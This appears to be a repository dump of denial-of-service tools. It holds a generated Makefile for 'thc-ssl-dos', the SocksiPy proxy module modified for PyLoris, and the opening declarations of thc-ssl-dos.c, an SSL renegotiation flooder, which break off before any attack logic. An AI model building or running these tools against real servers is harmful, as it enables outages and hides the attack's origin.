done; \ 184 | echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign src/Makefile'; \ 185 | $(am__cd) $(top_srcdir) && \ 186 | $(AUTOMAKE) --foreign src/Makefile 187 | .PRECIOUS: Makefile 188 | Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status 189 | @case '$?' in \ 190 | *config.status*) \ 191 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ 192 | *) \ 193 | echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ 194 | cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ 195 | esac; 196 | 197 | $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) 198 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 199 | 200 | $(top_srcdir)/configure: $(am__configure_deps) 201 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 202 | $(ACLOCAL_M4): $(am__aclocal_m4_deps) 203 | cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh 204 | $(am__aclocal_m4_deps): 205 | install-binPROGRAMS: $(bin_PROGRAMS) 206 | @$(NORMAL_INSTALL) 207 | test -z "$(bindir)" || $(MKDIR_P) "$(DESTDIR)$(bindir)" 208 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ 209 | for p in $$list; do echo "$$p $$p"; done | \ 210 | sed 's/$(EXEEXT)$$//' | \ 211 | while read p p1; do if test -f $$p; \ 212 | then echo "$$p"; echo "$$p"; else :; fi; \ 213 | done | \ 214 | sed -e 'p;s,.*/,,;n;h' -e 's|.*|.|' \ 215 | -e 'p;x;s,.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$/$(EXEEXT)/' | \ 216 | sed 'N;N;N;s,\n, ,g' | \ 217 | $(AWK) 'BEGIN { files["."] = ""; dirs["."] = 1 } \ 218 | { d=$$3; if (dirs[d] != 1) { print "d", d; dirs[d] = 1 } \ 219 | if ($$2 == $$4) files[d] = files[d] " " $$1; \ 220 | else { print "f", $$3 "/" $$4, $$1; } } \ 221 | END { for (d in files) print "f", d, files[d] }' | \ 222 | while read type dir files; do \ 223 | if test "$$dir" = .; then dir=; else dir=/$$dir; fi; \ 224 | test -z "$$files" || { \ 225 | echo " $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files '$(DESTDIR)$(bindir)$$dir'"; \ 226 | $(INSTALL_PROGRAM_ENV) $(INSTALL_PROGRAM) $$files "$(DESTDIR)$(bindir)$$dir" || exit $$?; \ 227 | } \ 228 | ; done 229 | 230 | uninstall-binPROGRAMS: 231 | @$(NORMAL_UNINSTALL) 232 | @list='$(bin_PROGRAMS)'; test -n "$(bindir)" || list=; \ 233 | files=`for p in $$list; do echo "$$p"; done | \ 234 | sed -e 'h;s,^.*/,,;s/$(EXEEXT)$$//;$(transform)' \ 235 | -e 's/$$/$(EXEEXT)/' `; \ 236 | test -n "$$list" || exit 0; \ 237 | echo " ( cd '$(DESTDIR)$(bindir)' && rm -f" $$files ")"; \ 238 | cd "$(DESTDIR)$(bindir)" && rm -f $$files 239 | 240 | clean-binPROGRAMS: 241 | -test -z "$(bin_PROGRAMS)" || rm -f $(bin_PROGRAMS) 242 | thc-ssl-dos$(EXEEXT): $(thc_ssl_dos_OBJECTS) $(thc_ssl_dos_DEPENDENCIES) 243 | @rm -f thc-ssl-dos$(EXEEXT) 244 | $(LINK) $(thc_ssl_dos_OBJECTS) $(thc_ssl_dos_LDADD) $(LIBS) 245 | 246 | mostlyclean-compile: 247 | -rm -f *.$(OBJEXT) 248 | 249 | distclean-compile: 250 | -rm -f *.tab.c 251 | 252 | @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/thc-ssl-dos.Po@am__quote@ 253 | 254 | .c.o: 255 | @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< 256 | @am__fastdepCC_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po 257 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ 258 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ 259 | @am__fastdepCC_FALSE@ $(COMPILE) -c $< 260 | 261 | .c.obj: 262 | @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` 263 | @am__fastdepCC_TRUE@ $(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po 264 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ 265 | @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ 266 | @am__fastdepCC_FALSE@ $(COMPILE) -c `$(CYGPATH_W) '$<'` 267 | 268 | ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) 269 | list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ 270 | unique=`for i in $$list; do \ 271 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 272 | done | \ 273 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 274 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 275 | mkid -fID $$unique 276 | tags: TAGS 277 | 278 | TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ 279 | $(TAGS_FILES) $(LISP) 280 | set x; \ 281 | here=`pwd`; \ 282 | list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ 283 | unique=`for i in $$list; do \ 284 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 285 | done | \ 286 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 287 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 288 | shift; \ 289 | if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ 290 | test -n "$$unique" || unique=$$empty_fix; \ 291 | if test $$# -gt 0; then \ 292 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 293 | "$$@" $$unique; \ 294 | else \ 295 | $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ 296 | $$unique; \ 297 | fi; \ 298 | fi 299 | ctags: CTAGS 300 | CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ 301 | $(TAGS_FILES) $(LISP) 302 | list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ 303 | unique=`for i in $$list; do \ 304 | if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ 305 | done | \ 306 | $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ 307 | END { if (nonempty) { for (i in files) print i; }; }'`; \ 308 | test -z "$(CTAGS_ARGS)$$unique" \ 309 | || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ 310 | $$unique 311 | 312 | GTAGS: 313 | here=`$(am__cd) $(top_builddir) && pwd` \ 314 | && $(am__cd) $(top_srcdir) \ 315 | && gtags -i $(GTAGS_ARGS) "$$here" 316 | 317 | distclean-tags: 318 | -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags 319 | 320 | distdir: $(DISTFILES) 321 | @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 322 | topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ 323 | list='$(DISTFILES)'; \ 324 | dist_files=`for file in $$list; do echo $$file; done | \ 325 | sed -e "s|^$$srcdirstrip/||;t" \ 326 | -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ 327 | case $$dist_files in \ 328 | */*) $(MKDIR_P) `echo "$$dist_files" | \ 329 | sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ 330 | sort -u` ;; \ 331 | esac; \ 332 | for file in $$dist_files; do \ 333 | if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ 334 | if test -d $$d/$$file; then \ 335 | dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ 336 | if test -d "$(distdir)/$$file"; then \ 337 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 338 | fi; \ 339 | if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ 340 | cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ 341 | find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ 342 | fi; \ 343 | cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ 344 | else \ 345 | test -f "$(distdir)/$$file" \ 346 | || cp -p $$d/$$file "$(distdir)/$$file" \ 347 | || exit 1; \ 348 | fi; \ 349 | done 350 | check-am: all-am 351 | check: check-am 352 | all-am: Makefile $(PROGRAMS) $(HEADERS) 353 | installdirs: 354 | for dir in "$(DESTDIR)$(bindir)"; do \ 355 | test -z "$$dir" || $(MKDIR_P) "$$dir"; \ 356 | done 357 | install: install-am 358 | install-exec: install-exec-am 359 | install-data: install-data-am 360 | uninstall: uninstall-am 361 | 362 | install-am: all-am 363 | @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am 364 | 365 | installcheck: installcheck-am 366 | install-strip: 367 | $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ 368 | install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ 369 | `test -z '$(STRIP)' || \ 370 | echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install 371 | mostlyclean-generic: 372 | 373 | clean-generic: 374 | 375 | distclean-generic: 376 | -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) 377 | -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) 378 | 379 | maintainer-clean-generic: 380 | @echo "This command is intended for maintainers to use" 381 | @echo "it deletes files that may require special tools to rebuild." 382 | clean: clean-am 383 | 384 | clean-am: clean-binPROGRAMS clean-generic mostlyclean-am 385 | 386 | distclean: distclean-am 387 | -rm -rf ./$(DEPDIR) 388 | -rm -f Makefile 389 | distclean-am: clean-am distclean-compile distclean-generic \ 390 | distclean-tags 391 | 392 | dvi: dvi-am 393 | 394 | dvi-am: 395 | 396 | html: html-am 397 | 398 | html-am: 399 | 400 | info: info-am 401 | 402 | info-am: 403 | 404 | install-data-am: 405 | 406 | install-dvi: install-dvi-am 407 | 408 | install-dvi-am: 409 | 410 | install-exec-am: install-binPROGRAMS 411 | 412 | install-html: install-html-am 413 | 414 | install-html-am: 415 | 416 | install-info: install-info-am 417 | 418 | install-info-am: 419 | 420 | install-man: 421 | 422 | install-pdf: install-pdf-am 423 | 424 | install-pdf-am: 425 | 426 | install-ps: install-ps-am 427 | 428 | install-ps-am: 429 | 430 | installcheck-am: 431 | 432 | maintainer-clean: maintainer-clean-am 433 | -rm -rf ./$(DEPDIR) 434 | -rm -f Makefile 435 | maintainer-clean-am: distclean-am maintainer-clean-generic 436 | 437 | mostlyclean: mostlyclean-am 438 | 439 | mostlyclean-am: mostlyclean-compile mostlyclean-generic 440 | 441 | pdf: pdf-am 442 | 443 | pdf-am: 444 | 445 | ps: ps-am 446 | 447 | ps-am: 448 | 449 | uninstall-am: uninstall-binPROGRAMS 450 | 451 | .MAKE: install-am install-strip 452 | 453 | .PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS \ 454 | clean-generic ctags distclean distclean-compile \ 455 | distclean-generic distclean-tags distdir dvi dvi-am html \ 456 | html-am info info-am install install-am install-binPROGRAMS \ 457 | install-data install-data-am install-dvi install-dvi-am \ 458 | install-exec install-exec-am install-html install-html-am \ 459 | install-info install-info-am install-man install-pdf \ 460 | install-pdf-am install-ps install-ps-am install-strip \ 461 | installcheck installcheck-am installdirs maintainer-clean \ 462 | maintainer-clean-generic mostlyclean mostlyclean-compile \ 463 | mostlyclean-generic pdf pdf-am ps ps-am tags uninstall \ 464 | uninstall-am uninstall-binPROGRAMS 465 | 466 | 467 | # Tell versions [3.59,3.63) of GNU make to not export all variables. 468 | # Otherwise a system limit (for SysV at least) may be exceeded. 469 | .NOEXPORT: 470 | -------------------------------------------------------------------------------- /pyloris/socks.py: -------------------------------------------------------------------------------- 1 | """SocksiPy - Python SOCKS module. 2 | Version 1.00 3 | 4 | Copyright 2006 Dan-Haim. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without modification, 7 | are permitted provided that the following conditions are met: 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 14 | to endorse or promote products derived from this software without specific 15 | prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 18 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 19 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 20 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 21 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 22 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 23 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 24 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 25 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 26 | 27 | 28 | This module provides a standard socket-like interface for Python 29 | for tunneling connections through SOCKS proxies. 30 | 31 | """ 32 | 33 | """ 34 | 35 | Minor modifications made by Christopher Gilbert (http://motomastyle.com/) 36 | for use in PyLoris (http://pyloris.sourceforge.net/) 37 | 38 | Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) 39 | mainly to merge bug fixes found in Sourceforge 40 | 41 | """ 42 | 43 | import socket 44 | import struct 45 | import sys 46 | 47 | PROXY_TYPE_SOCKS4 = 1 48 | PROXY_TYPE_SOCKS5 = 2 49 | PROXY_TYPE_HTTP = 3 50 | 51 | _defaultproxy = None 52 | _orgsocket = socket.socket 53 | 54 | class ProxyError(Exception): pass 55 | class GeneralProxyError(ProxyError): pass 56 | class Socks5AuthError(ProxyError): pass 57 | class Socks5Error(ProxyError): pass 58 | class Socks4Error(ProxyError): pass 59 | class HTTPError(ProxyError): pass 60 | 61 | _generalerrors = ("success", 62 | "invalid data", 63 | "not connected", 64 | "not available", 65 | "bad proxy type", 66 | "bad input") 67 | 68 | _socks5errors = ("succeeded", 69 | "general SOCKS server failure", 70 | "connection not allowed by ruleset", 71 | "Network unreachable", 72 | "Host unreachable", 73 | "Connection refused", 74 | "TTL expired", 75 | "Command not supported", 76 | "Address type not supported", 77 | "Unknown error") 78 | 79 | _socks5autherrors = ("succeeded", 80 | "authentication is required", 81 | "all offered authentication methods were rejected", 82 | "unknown username or invalid password", 83 | "unknown error") 84 | 85 | _socks4errors = ("request granted", 86 | "request rejected or failed", 87 | "request rejected because SOCKS server cannot connect to identd on the client", 88 | "request rejected because the client program and identd report different user-ids", 89 | "unknown error") 90 | 91 | def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 92 | """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 93 | Sets a default proxy which all further socksocket objects will use, 94 | unless explicitly changed. 95 | """ 96 | global _defaultproxy 97 | _defaultproxy = (proxytype, addr, port, rdns, username, password) 98 | 99 | def wrapmodule(module): 100 | """wrapmodule(module) 101 | Attempts to replace a module's socket library with a SOCKS socket. Must set 102 | a default proxy using setdefaultproxy(...) first. 103 | This will only work on modules that import socket directly into the namespace; 104 | most of the Python Standard Library falls into this category. 105 | """ 106 | if _defaultproxy != None: 107 | module.socket.socket = socksocket 108 | else: 109 | raise GeneralProxyError((4, "no proxy specified")) 110 | 111 | class socksocket(socket.socket): 112 | """socksocket([family[, type[, proto]]]) -> socket object 113 | Open a SOCKS enabled socket. The parameters are the same as 114 | those of the standard socket init. In order for SOCKS to work, 115 | you must specify family=AF_INET, type=SOCK_STREAM and proto=0. 116 | """ 117 | 118 | def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): 119 | _orgsocket.__init__(self, family, type, proto, _sock) 120 | if _defaultproxy != None: 121 | self.__proxy = _defaultproxy 122 | else: 123 | self.__proxy = (None, None, None, None, None, None) 124 | self.__proxysockname = None 125 | self.__proxypeername = None 126 | 127 | def __recvall(self, count): 128 | """__recvall(count) -> data 129 | Receive EXACTLY the number of bytes requested from the socket. 130 | Blocks until the required number of bytes have been received. 131 | """ 132 | data = self.recv(count) 133 | while len(data) < count: 134 | d = self.recv(count-len(data)) 135 | if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) 136 | data = data + d 137 | return data 138 | 139 | def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 140 | """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 141 | Sets the proxy to be used. 142 | proxytype - The type of the proxy to be used. Three types 143 | are supported: PROXY_TYPE_SOCKS4 (including socks4a), 144 | PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP 145 | addr - The address of the server (IP or DNS). 146 | port - The port of the server. Defaults to 1080 for SOCKS 147 | servers and 8080 for HTTP proxy servers. 148 | rdns - Should DNS queries be preformed on the remote side 149 | (rather than the local side). The default is True. 150 | Note: This has no effect with SOCKS4 servers. 151 | username - Username to authenticate with to the server. 152 | The default is no authentication. 153 | password - Password to authenticate with to the server. 154 | Only relevant when username is also provided. 155 | """ 156 | self.__proxy = (proxytype, addr, port, rdns, username, password) 157 | 158 | def __negotiatesocks5(self, destaddr, destport): 159 | """__negotiatesocks5(self,destaddr,destport) 160 | Negotiates a connection through a SOCKS5 server. 161 | """ 162 | # First we'll send the authentication packages we support. 163 | if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): 164 | # The username/password details were supplied to the 165 | # setproxy method so we support the USERNAME/PASSWORD 166 | # authentication (in addition to the standard none). 167 | self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) 168 | else: 169 | # No username/password were entered, therefore we 170 | # only support connections with no authentication. 171 | self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) 172 | # We'll receive the server's response to determine which 173 | # method was selected 174 | chosenauth = self.__recvall(2) 175 | if chosenauth[0:1] != chr(0x05).encode(): 176 | self.close() 177 | raise GeneralProxyError((1, _generalerrors[1])) 178 | # Check the chosen authentication method 179 | if chosenauth[1:2] == chr(0x00).encode(): 180 | # No authentication is required 181 | pass 182 | elif chosenauth[1:2] == chr(0x02).encode(): 183 | # Okay, we need to perform a basic username/password 184 | # authentication. 185 | self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) 186 | authstat = self.__recvall(2) 187 | if authstat[0:1] != chr(0x01).encode(): 188 | # Bad response 189 | self.close() 190 | raise GeneralProxyError((1, _generalerrors[1])) 191 | if authstat[1:2] != chr(0x00).encode(): 192 | # Authentication failed 193 | self.close() 194 | raise Socks5AuthError((3, _socks5autherrors[3])) 195 | # Authentication succeeded 196 | else: 197 | # Reaching here is always bad 198 | self.close() 199 | if chosenauth[1] == chr(0xFF).encode(): 200 | raise Socks5AuthError((2, _socks5autherrors[2])) 201 | else: 202 | raise GeneralProxyError((1, _generalerrors[1])) 203 | # Now we can request the actual connection 204 | req = struct.pack('BBB', 0x05, 0x01, 0x00) 205 | # If the given destination address is an IP address, we'll 206 | # use the IPv4 address request even if remote resolving was specified. 207 | try: 208 | ipaddr = socket.inet_aton(destaddr) 209 | req = req + chr(0x01).encode() + ipaddr 210 | except socket.error: 211 | # Well it's not an IP number, so it's probably a DNS name. 212 | if self.__proxy[3]: 213 | # Resolve remotely 214 | ipaddr = None 215 | req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + destaddr 216 | else: 217 | # Resolve locally 218 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 219 | req = req + chr(0x01).encode() + ipaddr 220 | req = req + struct.pack(">H", destport) 221 | self.sendall(req) 222 | # Get the response 223 | resp = self.__recvall(4) 224 | if resp[0:1] != chr(0x05).encode(): 225 | self.close() 226 | raise GeneralProxyError((1, _generalerrors[1])) 227 | elif resp[1:2] != chr(0x00).encode(): 228 | # Connection failed 229 | self.close() 230 | if ord(resp[1:2])<=8: 231 | raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) 232 | else: 233 | raise Socks5Error((9, _socks5errors[9])) 234 | # Get the bound address/port 235 | elif resp[3:4] == chr(0x01).encode(): 236 | boundaddr = self.__recvall(4) 237 | elif resp[3:4] == chr(0x03).encode(): 238 | resp = resp + self.recv(1) 239 | boundaddr = self.__recvall(ord(resp[4:5])) 240 | else: 241 | self.close() 242 | raise GeneralProxyError((1,_generalerrors[1])) 243 | boundport = struct.unpack(">H", self.__recvall(2))[0] 244 | self.__proxysockname = (boundaddr, boundport) 245 | if ipaddr != None: 246 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 247 | else: 248 | self.__proxypeername = (destaddr, destport) 249 | 250 | def getproxysockname(self): 251 | """getsockname() -> address info 252 | Returns the bound IP address and port number at the proxy. 253 | """ 254 | return self.__proxysockname 255 | 256 | def getproxypeername(self): 257 | """getproxypeername() -> address info 258 | Returns the IP and port number of the proxy. 259 | """ 260 | return _orgsocket.getpeername(self) 261 | 262 | def getpeername(self): 263 | """getpeername() -> address info 264 | Returns the IP address and port number of the destination 265 | machine (note: getproxypeername returns the proxy) 266 | """ 267 | return self.__proxypeername 268 | 269 | def __negotiatesocks4(self,destaddr,destport): 270 | """__negotiatesocks4(self,destaddr,destport) 271 | Negotiates a connection through a SOCKS4 server. 272 | """ 273 | # Check if the destination address provided is an IP address 274 | rmtrslv = False 275 | try: 276 | ipaddr = socket.inet_aton(destaddr) 277 | except socket.error: 278 | # It's a DNS name. Check where it should be resolved. 279 | if self.__proxy[3]: 280 | ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) 281 | rmtrslv = True 282 | else: 283 | ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) 284 | # Construct the request packet 285 | req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr 286 | # The username parameter is considered userid for SOCKS4 287 | if self.__proxy[4] != None: 288 | req = req + self.__proxy[4] 289 | req = req + chr(0x00).encode() 290 | # DNS name if remote resolving is required 291 | # NOTE: This is actually an extension to the SOCKS4 protocol 292 | # called SOCKS4A and may not be supported in all cases. 293 | if rmtrslv: 294 | req = req + destaddr + chr(0x00).encode() 295 | self.sendall(req) 296 | # Get the response from the server 297 | resp = self.__recvall(8) 298 | if resp[0:1] != chr(0x00).encode(): 299 | # Bad data 300 | self.close() 301 | raise GeneralProxyError((1,_generalerrors[1])) 302 | if resp[1:2] != chr(0x5A).encode(): 303 | # Server returned an error 304 | self.close() 305 | if ord(resp[1:2]) in (91, 92, 93): 306 | self.close() 307 | raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) 308 | else: 309 | raise Socks4Error((94, _socks4errors[4])) 310 | # Get the bound address/port 311 | self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) 312 | if rmtrslv != None: 313 | self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) 314 | else: 315 | self.__proxypeername = (destaddr, destport) 316 | 317 | def __negotiatehttp(self, destaddr, destport): 318 | """__negotiatehttp(self,destaddr,destport) 319 | Negotiates a connection through an HTTP server. 320 | """ 321 | # If we need to resolve locally, we do this now 322 | if not self.__proxy[3]: 323 | addr = socket.gethostbyname(destaddr) 324 | else: 325 | addr = destaddr 326 | self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) 327 | # We read the response until we get the string "\r\n\r\n" 328 | resp = self.recv(1) 329 | while resp.find("\r\n\r\n".encode()) == -1: 330 | resp = resp + self.recv(1) 331 | # We just need the first line to check if the connection 332 | # was successful 333 | statusline = resp.splitlines()[0].split(" ".encode(), 2) 334 | if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): 335 | self.close() 336 | raise GeneralProxyError((1, _generalerrors[1])) 337 | try: 338 | statuscode = int(statusline[1]) 339 | except ValueError: 340 | self.close() 341 | raise GeneralProxyError((1, _generalerrors[1])) 342 | if statuscode != 200: 343 | self.close() 344 | raise HTTPError((statuscode, statusline[2])) 345 | self.__proxysockname = ("0.0.0.0", 0) 346 | self.__proxypeername = (addr, destport) 347 | 348 | def connect(self, destpair): 349 | """connect(self, despair) 350 | Connects to the specified destination through a proxy. 351 | destpar - A tuple of the IP/DNS address and the port number. 352 | (identical to socket's connect). 353 | To select the proxy server use setproxy(). 354 | """ 355 | # Do a minimal input check first 356 | if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): 357 | raise GeneralProxyError((5, _generalerrors[5])) 358 | if self.__proxy[0] == PROXY_TYPE_SOCKS5: 359 | if self.__proxy[2] != None: 360 | portnum = self.__proxy[2] 361 | else: 362 | portnum = 1080 363 | _orgsocket.connect(self, (self.__proxy[1], portnum)) 364 | self.__negotiatesocks5(destpair[0], destpair[1]) 365 | elif self.__proxy[0] == PROXY_TYPE_SOCKS4: 366 | if self.__proxy[2] != None: 367 | portnum = self.__proxy[2] 368 | else: 369 | portnum = 1080 370 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 371 | self.__negotiatesocks4(destpair[0], destpair[1]) 372 | elif self.__proxy[0] == PROXY_TYPE_HTTP: 373 | if self.__proxy[2] != None: 374 | portnum = self.__proxy[2] 375 | else: 376 | portnum = 8080 377 | _orgsocket.connect(self,(self.__proxy[1], portnum)) 378 | self.__negotiatehttp(destpair[0], destpair[1]) 379 | elif self.__proxy[0] == None: 380 | _orgsocket.connect(self, (destpair[0], destpair[1])) 381 | else: 382 | raise GeneralProxyError((4, _generalerrors[4])) 383 | -------------------------------------------------------------------------------- /thc-ssl-dos/src/thc-ssl-dos.c: -------------------------------------------------------------------------------- 1 | 2 | #include "common.h" 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | #define MAX_PEERS (999) 9 | #define DEFAULT_PEERS (400) 10 | #define PROGRAM_NAME "thc-ssl-dos" 11 | #define TO_TCP_CONNECT (10) /* 10 second TCP connect() timeout */ 12 | 13 | 14 | struct _statistics 15 | { 16 | uint32_t total_tcp_connections; 17 | uint32_t total_renegotiations; 18 | uint32_t total_ssl_connect; 19 | uint32_t error_count; 20 | uint64_t epoch_start_usec; 21 | uint32_t epoch_start_renegotiations; 22 | }; 23 | 24 | struct _opt 25 | { 26 | uint32_t flags; 27 | uint16_t n_peers; 28 | uint16_t n_max_peers; 29 | uint32_t ip; 30 | uint16_t port; 31 | fd_set rfds; 32 | fd_set wfds; 33 | int max_sox; 34 | SSL_CTX *ctx; 35 | struct _statistics stat; 36 | int slowstart_last_peer_idx; 37 | }; 38 | #define FL_SECURE_RENEGOTIATION (0x01) 39 | #define FL_UNSECURE_RENEGOTIATION (0x02) 40 | #define FL_OUTPUT_SR_ONCE (0x04) 41 | 42 | enum _states 43 | { 44 | STATE_UNKNOWN = 0, 45 | STATE_TCP_CONNECTING, 46 | STATE_SSL_CONNECTING, 47 | STATE_SSL_HANDSHAKING, 48 | STATE_SSL_DUMMYWRITE 49 | }; 50 | 51 | struct _peer 52 | { 53 | uint32_t flags; 54 | SSL *ssl; 55 | int sox; 56 | enum _states state; 57 | struct sockaddr_in addr; 58 | uint32_t count_renegotiations; 59 | uint32_t tv_connect_sec; 60 | }; 61 | #define FL_PEER_WANT_NEXT_STATE (0x04) 62 | 63 | struct _peer peers[MAX_PEERS]; 64 | #define PEER_GET_IDX(xpeer) (int)(xpeer - &peers[0]) 65 | 66 | struct _opt g_opt; 67 | 68 | #define ERREXIT(a...) do { \ 69 | fprintf(stderr, "%s:%d ", __func__, __LINE__); \ 70 | fprintf(stderr, a); \ 71 | exit(-1); \ 72 | } while (0) 73 | 74 | #define DEBUGF(a...) do { \ 75 | fprintf(stderr, "%s:%d ", __FILE__, __LINE__); \ 76 | fprintf(stderr, a); \ 77 | } while (0) 78 | 79 | #define SSLERR(a...) do { \ 80 | fprintf(stderr, a); \ 81 | fprintf(stderr, ": %s\n", ERR_error_string(ERR_get_error(), NULL)); \ 82 | } while (0) 83 | 84 | #define SSLERREXIT(a...) do { \ 85 | SSLERR(a); \ 86 | exit(-1); \ 87 | } while (0) 88 | 89 | static int 